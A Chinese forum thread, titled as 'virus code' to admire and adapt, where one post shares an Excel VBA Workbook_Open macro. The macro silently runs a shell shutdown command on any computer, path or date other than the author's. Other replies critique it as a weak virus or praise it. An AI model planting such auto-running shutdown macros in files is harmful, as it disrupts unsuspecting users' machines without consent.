病毒代码欣赏-----------如何修改加以利用？

goldowl2011 · 发表于 2012-6-25 21:21

Mark it .Good idea.

win2009 · 发表于 2012-9-28 19:43

Private Sub Workbook_Open()
If Date > #4/8/2012# Then Call 关机
If ThisWorkbook.Path <> "D:\财务账目\ " Then Call关机
If Environ("ComputerName") <> "PC-201012291848" Then Call 关机
If ThisWorkbook.Name <> "2月份财务报表.xls" Then Call 关机
End If
End Sub
Sub 关机()
On Error Resume Next
Dim WSHshellA
Set WSHshellA = CreateObject("wscript.shell")
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""盗窃文件可耻！"" ", 0, True
End Sub

私有的过程 workbook_open()
如果当前日期 > #4/8/2012# 则执行调用关机
如果当前工作簿 . 路径<>"d:\财务账目\ " 则执行 call关机
如果 environ("computername")<>"pc-201012291848" 则执行调用关机
如果当前工作簿 . 名称<>"2月份财务报表 . xls" 则执行调用关机
结束如果
结束过程
过程关机()
当错误转到下一句
定义变量 wshshella
设置 wshshella = 创建对象("wscript . shell")
wshshella . run "cmd . exe /c shutdown -s -t 60 -c ""盗窃文件可耻！"" " 0 真
结束过程

seeyoutime · 发表于 2012-9-28 20:52

{:soso_e127:}

kangatang · 发表于 2012-9-29 08:48

本帖最后由 kangatang 于 2012-9-29 09:04 编辑

这也叫病毒？除了没有感染功能不说，在任何一台机子上它都执行关机（除了作者的）。这么大的动作不是太容易被发现了，且几乎丧失了感染时间。

sunny_8848 · 发表于 2012-12-1 10:18

代码功能不错

54xingchen · 发表于 2012-12-1 10:11

此贴贵在如何修改加以利用欣赏这种思路

394005147 · 发表于 2012-11-7 21:08

{:soso_e148:}

shaokui123 · 发表于 2014-6-6 20:36

呵呵，开眼界了

7176386 · 发表于 2015-3-29 23:25

很全，很详细，很强大，感谢楼主分享

		自动登录	找回密码
密码			免费注册

[转帖] 病毒代码欣赏-----------如何修改加以利用？